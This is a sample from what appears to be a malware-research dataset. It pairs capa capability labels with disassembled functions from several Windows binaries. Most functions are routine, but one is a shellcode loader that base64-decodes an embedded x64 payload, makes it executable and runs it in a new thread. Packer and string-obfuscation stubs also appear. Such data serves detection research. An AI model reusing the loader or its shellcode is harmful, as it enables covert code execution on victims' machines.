joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140059f10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
test r8, r8
je 0x140059f8a
mov r11, qword [rsp + 0x70]
mov ebp, ecx
shr ebp, 8
lea r8, [rdx + r8*2]
xor eax, eax
mov rbx, rdx
movzx edi, byte [rdx + 1]
add rdx, 2
lea r10, [rax + rdi]
cmp byte [rbx], bpl
jne 0x140059f80
cmp r10, rax
jb 0x14005a01d
cmp r10, r11
ja 0x14005a02a
add rax, r9
xor ebx, ebx
nop dword [rax + rax]
cmp rdi, rbx
je 0x140059f82
lea rsi, [rbx + 1]
cmp byte [rax + rbx], cl
mov rbx, rsi
jne 0x140059f60
jmp 0x140059ff2
ja 0x140059f8a
mov rax, r10
cmp rdx, r8
jne 0x140059f2d
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140059ff6
mov rbx, qword [rsp + 0x78]
add rdx, rbx
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
nop
lea rsi, [rbx + 1]
movzx edi, byte [rbx]
test dil, dil
js 0x140059fd0
mov rbx, rsi
sub ecx, edi
jns 0x140059fe9
jmp 0x140059ff8
cmp rsi, rdx
je 0x14005a003
and edi, 0x7f
shl edi, 8
movzx ebp, byte [rbx + 1]
add rbx, 2
or edi, ebp
sub ecx, edi
js 0x140059ff8
xor al, 1
cmp rbx, rdx
jne 0x140059fb0
jmp 0x140059ff8
xor eax, eax
jmp 0x140059ff8
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rcx, [0x14006188e]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14005cd70
ud2
mov rcx, rax
mov rdx, r10
call fcn.14005cfe0
ud2
mov rcx, r10
mov rdx, r11
call fcn.14005cfd0
ud2

Function at 0x14005bcd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005bd1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005bd1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005bd1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005bd1e
cmp dword [rcx + 0x84], 0xe
jbe 0x14005bd1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14005bd20
xor al, al
add rsp, 0x28
ret
Function at 0x140003a30
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003a64
cmp word [rcx], 0x5a4d
jne 0x140003a64
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003a64
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a64
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003970
test eax, eax
jne 0x140003a80
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400039e0
test rax, rax
je 0x140003a75
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000422c
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004130
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400040d0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004ce0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004d03
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004d03
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004db1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140537370]
mov r8, rcx
mov rcx, r9
call fcn.140004ce0
test eax, eax
je 0x140004ddd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004d04
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001050
Capabilities:
Allocate or change rwx memory
Create thread
Decode data using base64 via winapi
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov edx, dword [0x14001f174]
xor esi, esi
xor ecx, ecx
mov dword [rsp + 0x58], esi
mov r8d, 0x3000
lea r9d, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
mov rdi, rax
lea rdx, str.calc_payload_addr
lea rcx, [0x14001f190]
call fcn.140001170
mov r8, rdi
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001170
lea rcx, str._nHit_me_1st__n
call fcn.140001170
call fcn.14000307c
mov edx, dword [0x14001f174]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov qword [rsp + 0x28], rsi
lea rcx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
mov r9, rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], edx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edx, dword [0x14001f174]
lea r9, [rsp + 0x58]
lea r8d, [rsi + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._nHit_me_2nd__n
mov ebx, eax
call fcn.140001170
call fcn.14000307c
test ebx, ebx
je 0x140001149
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x1400053e0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000520c
Function at 0x14003e9d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003e9dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003e9ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14003e9d5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14003ea05
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14003e9f2
sub eax, 3
jb 0x14003ea1f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14003ea56
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14003ea46
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14003ea44
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14003ea33
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14003e992
jmp 0x14003e9dd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x27e00
mov dl, 9
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14003eaa6
cmp rsi, rcx
jae 0x14003eaae
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003ea8d
cmp al, 0x8f
ja 0x14003ea8d
cmp byte [rsi - 2], 0xf
je 0x14003ea93
sub al, 0xe8
cmp al, 1
ja 0x14003ea77
cmp rsi, rcx
jae 0x14003eaae
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003ea7d
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003eaae
lodsb al, byte [rsi]
jmp 0x14003ea8d
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x3c000]
mov eax, dword [rdi]
or eax, eax
je 0x14003eb17
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3e000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003eabb
jns 0x14003eaf0
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14003eafa
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14003eb11
mov qword [rbx], rax
add rbx, 8
jmp 0x14003eadb
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14003eb51
cmp al, 0xef
ja 0x14003eb43
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14003eb23
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14003eb32
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14003ebd0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14003ebd0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14003ebc0
sub rsp, 0xffffffffffffff80
jmp 0x1400262f4
Function at 0x1400017f8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x14000196c
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1405b9081]
jmp 0x14000185e
mov byte [0x1405b9081], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1405b9060]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x14000196c
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x8b
mov byte [rsp + 0x21], 0x83
mov byte [rsp + 0x22], 0x7c
mov byte [rsp + 0x23], 0x7a
mov byte [rsp + 0x24], 0x77
mov byte [rsp + 0x25], 0x86
mov byte [rsp + 0x26], 0x77
mov byte [rsp + 0x27], 0x8d
mov byte [rsp + 0x28], 0x8d
mov byte [rsp + 0x29], 0x8b
mov byte [rsp + 0x2a], 0x75
mov byte [rsp + 0x2b], 0x89
mov byte [rsp + 0x2c], 0x81
mov byte [rsp + 0x2d], 0x83
mov byte [rsp + 0x2e], 0x8b
mov byte [rsp + 0x2f], 0x7a
mov byte [rsp + 0x30], 0x74
mov byte [rsp + 0x31], 0x7f
mov byte [rsp + 0x32], 0x7e
mov byte [rsp + 0x33], 0x88
mov byte [rsp + 0x34], 0x87
mov byte [rsp + 0x35], 0x8c
mov byte [rsp + 0x36], 0x77
mov byte [rsp + 0x37], 0x84
mov byte [rsp + 0x38], 0x7c
mov byte [rsp + 0x39], 0x7e
mov byte [rsp + 0x3a], 0x78
mov byte [rsp + 0x3b], 0x8a
mov byte [rsp + 0x3c], 0x7f
mov byte [rsp + 0x3d], 0x8b
mov byte [rsp + 0x3e], 0x7d
mov byte [rsp + 0x3f], 0x82
mov byte [rsp + 0x40], 0x13
cmp byte [0x1405b9040], 0
jne 0x140001947
mov byte [0x1405b9081], 1
mov eax, 0
lea rcx, [0x1405b9060]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001926
mov byte [0x1405b9040], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1405b9081], 0
je 0x140001830
lea rax, [0x1405b9060]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x14000195b
jmp 0x140001829
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400054b0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x1400054e0
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x1400054df
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400054e5
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x1400054df
mov eax, 0
jmp 0x1400054df

Function at 0x140005b60
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140005b10
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14000f160
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140017ca0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140017ca0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000f1d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1405b9434]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x14000f360
mov rax, qword [0x1405b9438]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14000f21c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x14000f2a5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x14000f200
mov rcx, rdi
call fcn.14000fd30
test rax, rax
mov r12, rax
je 0x14000f3b2
mov rax, qword [0x1405b9438]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.14000fe70
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1405b9438]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000f395
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000f29e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000f310
add dword [0x1405b9434], 1
cmp ebx, 8
jae 0x14000f2d1
test bl, 4
jne 0x14000f370
test ebx, ebx
je 0x14000f2c6
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x14000f384
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x14000f2c6
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x14000f2ea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1405b9438]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000f29e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000f160
xor esi, esi
jmp 0x14000f227
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x14000f2c6
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x14000f2c6
mov rax, qword [0x1405b9438]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.14000f160
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.14000f160
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x14000f980
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1405b94a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1405b9480]
test rbx, rbx
je 0x14000f9d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000f9cb
test rsi, rsi
je 0x14000f9cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000f9b0
lea rcx, [0x1405b94a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000fd30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1405b4410]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000fd9f
mov rcx, r9
call fcn.14000fc00
test eax, eax
je 0x14000fd9f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14000fd9d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x14000fd94
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000fd9f
add rdx, 0x28
cmp rdx, r9
jne 0x14000fd80
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001a0a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405b0060]
jmp 0x140010b60

Function at 0x14001a0b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405b0060]
jmp 0x140010b60
Function at 0x14001d564
Capabilities:
Get geographical location

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x168
mov rdi, r9
mov r14, r8
mov rsi, rdx
mov rbx, rcx
mov r12, qword [rsp + 0x1c0]
mov rax, qword [0x140101018]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea r15, [rsp + 0x38]
mov r8d, 0xe8
mov rcx, r15
mov dl, 0xaa
call fcn.1400a3cc0
mov rcx, r15
mov edx, 1
call fcn.140004cc4
mov rcx, r15
mov rdx, r14
call fcn.14000237c
lea rcx, [rsp + 0x40]
lea r14, [rsp + 0x140]
mov rdx, r14
call fcn.1400057ec
xorps xmm0, xmm0
lea r15, [rsp + 0x120]
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea rdx, str.country
mov r8d, 7
mov rcx, r15
call fcn.1400018f4
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdi
mov rcx, rbx
mov rdx, rsi
mov r8, r15
mov r9, r14
call fcn.14001cc50
lea rdi, [rsp + 0xc0]
mov rcx, rdi
call fcn.1400058f6
lea rax, vtable.std::ios_base.0
mov qword [rdi], rax
mov rcx, rdi
call fcn.140079e64
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140079b60
mov rax, rsi
add rsp, 0x168
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x14001d666
Capabilities:
Get geographical location

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x180
movaps xmmword [rsp + 0x170], xmm6
mov rbx, r9
mov r14, r8
mov rsi, rdx
mov rdi, rcx
movaps xmm6, xmmword [rsp + 0x1d0]
mov rax, qword [0x140101018]
xor rax, rsp
mov qword [rsp + 0x168], rax
lea r15, [rsp + 0x38]
mov r8d, 0xe8
mov rcx, r15
mov dl, 0xaa
call fcn.1400a3cc0
mov rcx, r15
mov edx, 1
call fcn.140004cc4
mov rcx, r15
mov rdx, r14
call fcn.14000237c
lea rdx, [0x1400df393]
mov rcx, rax
call fcn.14000237c
mov rcx, rax
mov rdx, rbx
call fcn.14000237c
lea rcx, [rsp + 0x40]
lea rbx, [rsp + 0x148]
mov rdx, rbx
call fcn.1400057ec
xorps xmm0, xmm0
lea r14, [rsp + 0x120]
movaps xmmword [r14 + 0x10], xmm0
movaps xmmword [r14], xmm0
lea rdx, str.country
mov r8d, 7
mov rcx, r14
call fcn.1400018f4
movups xmmword [rsp + 0x20], xmm6
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9, rbx
call fcn.14001cc50
lea rdi, [rsp + 0xc0]
mov rcx, rdi
call fcn.1400058f6
lea rax, vtable.std::ios_base.0
mov qword [rdi], rax
mov rcx, rdi
call fcn.140079e64
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140079b60
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x180
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14001d78a
Capabilities:
Get geographical location

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x188
movaps xmmword [rsp + 0x170], xmm6
mov r14, r9
mov r15, r8
mov rsi, rdx
mov rdi, rcx
movups xmm6, xmmword [rsp + 0x1e8]
mov ebx, dword [rsp + 0x1e0]
mov rax, qword [0x140101018]
xor rax, rsp
mov qword [rsp + 0x168], rax
lea r12, [rsp + 0x38]
mov r8d, 0xe8
mov rcx, r12
mov dl, 0xaa
call fcn.1400a3cc0
mov rcx, r12
mov edx, 1
call fcn.140004cc4
mov rcx, r12
mov rdx, r15
call fcn.14000237c
lea r15, [0x1400df393]
mov rcx, rax
mov rdx, r15
call fcn.14000237c
mov rcx, rax
mov rdx, r14
call fcn.14000237c
mov rcx, rax
mov rdx, r15
call fcn.14000237c
mov rcx, rax
mov edx, ebx
call fcn.140002522
lea rcx, [rsp + 0x40]
lea rbx, [rsp + 0x148]
mov rdx, rbx
call fcn.1400057ec
xorps xmm0, xmm0
lea r14, [rsp + 0x120]
movaps xmmword [r14 + 0x10], xmm0
movaps xmmword [r14], xmm0
lea rdx, str.country
mov r8d, 7
mov rcx, r14
call fcn.1400018f4
movups xmmword [rsp + 0x20], xmm6
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9, rbx
call fcn.14001cc50
lea rdi, [rsp + 0xc0]
mov rcx, rdi
call fcn.1400058f6
lea rax, vtable.std::ios_base.0
mov qword [rdi], rax
mov rcx, rdi
call fcn.140079e64
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140079b60
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400592a7
Capabilities:
Get geographical location

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rdi, rcx
mov rax, qword [0x140101018]
xor rax, rsp
mov qword [rsp + 0x78], rax
movabs rax, 0xaaaaaaaaaaaaaaaa
lea rsi, [rsp + 0x20]
mov qword [rsi + 0x20], rax
movaps xmm6, xmmword [section..rdata]
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov rcx, rsi
xor edx, edx
call fcn.14005dd84
mov ecx, dword [rdi + 0xd8]
call fcn.14000c17c
lea rbx, [rsp + 0x50]
mov rcx, rbx
mov rdx, rax
call fcn.14005e232
lea rdx, str.connectMethod
mov rcx, rsi
call fcn.1400601d2
mov rcx, rax
mov rdx, rbx
call fcn.14005e6fa
mov rcx, rbx
call fcn.14005de10
lea rdx, [rdi + 0xdc]
lea rbx, [rsp + 0x50]
mov rcx, rbx
call fcn.14005e232
lea rdx, str.country
mov rcx, rsi
call fcn.1400601d2
mov rcx, rax
mov rdx, rbx
call fcn.14005e6fa
mov rcx, rbx
call fcn.14005de10
lea rdx, [rdi + 0xe6]
lea rbx, [rsp + 0x50]
mov rcx, rbx
call fcn.14005e232
lea rdx, str.city
mov rcx, rsi
call fcn.1400601d2
mov rcx, rax
mov rdx, rbx
call fcn.14005e6fa
mov rcx, rbx
call fcn.14005de10
mov edx, dword [rdi + 0xfc]
lea rdi, [rsp + 0x50]
mov rcx, rdi
call fcn.14005e16e
lea rdx, [0x1400e2ca4]
mov rcx, rsi
call fcn.1400601d2
mov rcx, rax
mov rdx, rdi
call fcn.14005e6fa
mov rcx, rdi
call fcn.14005de10
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi], xmm6
mov rcx, rsi
mov rdx, rdi
call fcn.140060894
cmp qword [rdi + 0x18], 0x10
jb 0x1400593f2
mov rdi, qword [rsp + 0x50]
mov ecx, 1
call fcn.1400a74d0
mov rcx, rdi
mov rdx, rax
call fcn.1400b897c
mov ecx, 1
call fcn.1400a74d0
mov rcx, rax
call fcn.1400b81c8
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140059431
mov rcx, qword [rsp + 0x50]
inc rdx
call fcn.14000154d
lea rcx, [rsp + 0x20]
call fcn.14005de10
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140079b60
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400722a8
Capabilities:
Initialize winsock library

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x208
movaps xmmword [rsp + 0x1f0], xmm6
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x140101018]
xor rax, rsp
mov qword [rsp + 0x1e8], rax
mov word [rcx + 8], r8w
xor ebx, ebx
mov qword [rcx + 0x10], rbx
add rcx, 0x18
mov edx, 2
call fcn.14008003c
mov qword [rsi + 0x70], rbx
mov dword [rsi + 0x78], 0
xorps xmm6, xmm6
movups xmmword [rsi + 0x80], xmm6
mov ecx, 0xd0
call fcn.140079a98
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsi + 0x80], rax
lea rcx, [rsi + 0x90]
mov edx, 0x102
call fcn.14008003c
lea r14, [rsi + 0xe0]
